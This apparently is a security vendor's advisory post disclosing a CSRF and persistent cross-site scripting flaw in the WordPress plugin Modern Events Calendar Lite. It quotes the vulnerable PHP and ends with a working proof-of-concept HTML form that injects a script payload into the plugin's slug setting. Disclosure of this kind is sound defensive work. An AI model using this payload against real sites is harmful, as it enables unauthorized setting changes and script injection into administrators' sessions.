26 May

A Hacker Looks to be Probing for Modern Event Calendar Lite, This Vulnerability Could be Their Target

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using, we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There was probing on our website today for the plugin Modern Events Calendar Lite by requesting these files:

/wp-content/plugins/modern-events-calendar-lite/assets/css/mecrtl.css
/wp-content/plugins/modern-events-calendar-lite/readme.txt
/wp-content/plugins/modern-events-calendar-lite/assets/js/events.js

While there are previously disclosed vulnerabilities that might explain a hacker’s interest in the plugin, we decided to check to see if there was anything currently in the plugin that based on past similar hacker activity might be of interest to them. When we started to do that, we found not only a lot of code that looked insecure, but multiple vulnerabilities. It doesn’t look like past vulnerabilities have led to the developer securing the code, so we would recommend anyone using it, stop using it.

As an example of the developer having the same reoccurring problem and not fully dealing with, here is yet another authenticated persistent cross-site scripting (XSS) vulnerability in the plugin.

Insecure Setup Wizard

In a reoccurring theme with vulnerable plugins that have been targeted by hackers, the plugin has a setup wizard that isn’t properly secured. While accessing the wizard is restricted to Administrators (or more accurately, users with the manage_options capability), when saving things through the wizard, that is handled through AJAX requests that don’t have proper security in place. Part of that can be seen by viewing the AJAX requests using a web browser’s developer tools, as no nonce is sent with the request, meaning that cross-site request forgery (CSRF) is possible. Looking at the underlying code or switching over to a lower level account while keeping the wizard page open shows that anyone logged in WordPress is allowed to save changes through that.

On the second page of the settings portion of the wizard there are a couple of text boxes:

When setting JavaScript code to the Main Slug input there, that code will not be sanitized and it will be included on various WordPress’ admin pages unescaped. Including the Dashboard if any event exists:

All together that creates an authenticated persistent cross-site scripting (XSS) vulnerability.

Underlying Code

In the file /app/libraries/factory.php, the plugin registers the function save_wizard_options() to be accessible through WordPress AJAX functionality to those logged in to WordPress through six names:

106
107
108
109
110
111
$this->action('wp_ajax_wizard_save_weekdays', array($this->main, 'save_wizard_options'));
$this->action('wp_ajax_wizard_save_slug', array($this->main, 'save_wizard_options'));
$this->action('wp_ajax_wizard_save_module', array($this->main, 'save_wizard_options'));
$this->action('wp_ajax_wizard_save_single', array($this->main, 'save_wizard_options'));
$this->action('wp_ajax_wizard_save_booking', array($this->main, 'save_wizard_options'));
$this->action('wp_ajax_wizard_save_styling', array($this->main, 'save_wizard_options'));

The function, which is located in the file /app/libraries/main.php, doesn’t include a capabilities check, a nonce check before saving the input sent with the request:

8303
8304
8305
8306
8307
8308
8309
8310
8311
8312
8313
8314
8315
8316
8317
8318
8319
8320
8321
8322
8323
8324
8325
8326
8327
8328
8329
8330
8331
8332
8333
8334
8335
public function save_wizard_options() {
	$request = $this->getRequest();
	$mec = $request->getVar('mec', array());
 
	$filtered = array();
	foreach($mec as $key=>$value) $filtered[$key] = (is_array($value) ? $value : array());
 
 
	$current = get_option('mec_options', array());
	$final = $current;
 
	// Merge new options with previous options
	foreach($filtered as $key=>$value)
	{
		if(is_array($value))
		{
			foreach($value as $k=>$v)
			{
				// Define New Array
				if(!isset($final[$key])) $final[$key] = array();
 
				// Overwrite Old Value
				$final[$key][$k] = $v;
			}
		}
		// Overwrite Old Value
		else $final[$key] = $value;
	}
 
	update_option('mec_options', $final);
 
	die();
}

By comparison, in the same file, the function save_options() does those:

1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
public function save_options()
{
	// MEC Request library
	$request = $this->getRequest();
 
	$wpnonce = $request->getVar('_wpnonce', NULL);
 
	// Check if our nonce is set.
	if(!trim($wpnonce)) $this->response(array('success'=>0, 'code'=>'NONCE_MISSING'));
 
	// Verify that the nonce is valid.
	if(!wp_verify_nonce($wpnonce, 'mec_options_form')) $this->response(array('success'=>0, 'code'=>'NONCE_IS_INVALID'));
 
	// Current User is not Permitted
	if(!current_user_can('mec_settings') and !current_user_can('administrator')) $this->response(array('success'=>0, 'code'=>'ADMIN_ONLY'));

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box on the WordPress admin Dashboard if an upcoming event exists, when logged in to WordPress. In Safari and other web browsers that provide XSS filtering this proof of concept will not work.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wizard_save_slug" method="POST">
<input type="hidden" name="mec[settings][archive_title]" value='' />
<input type="hidden" name="mec[settings][default_skin_archive]" value="full_calendar" />
<input type="hidden" name="mec[settings][custom_archive]" value="" />
<input type="hidden" name="mec[settings][monthly_view_archive_skin]" value="classic" />
<input type="hidden" name="mec[settings][timetable_archive_skin]" value="modern" />
<input type="hidden" name="mec[settings][list_archive_skin]" value="classic" />
<input type="hidden" name="mec[settings][grid_archive_skin]" value="classic" />
<input type="hidden" name="mec[settings][slug]" value='\"><script>alert(document.cookie);</script>' />
<input type="hidden" name="mec[settings][single_single_style]" value="default" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.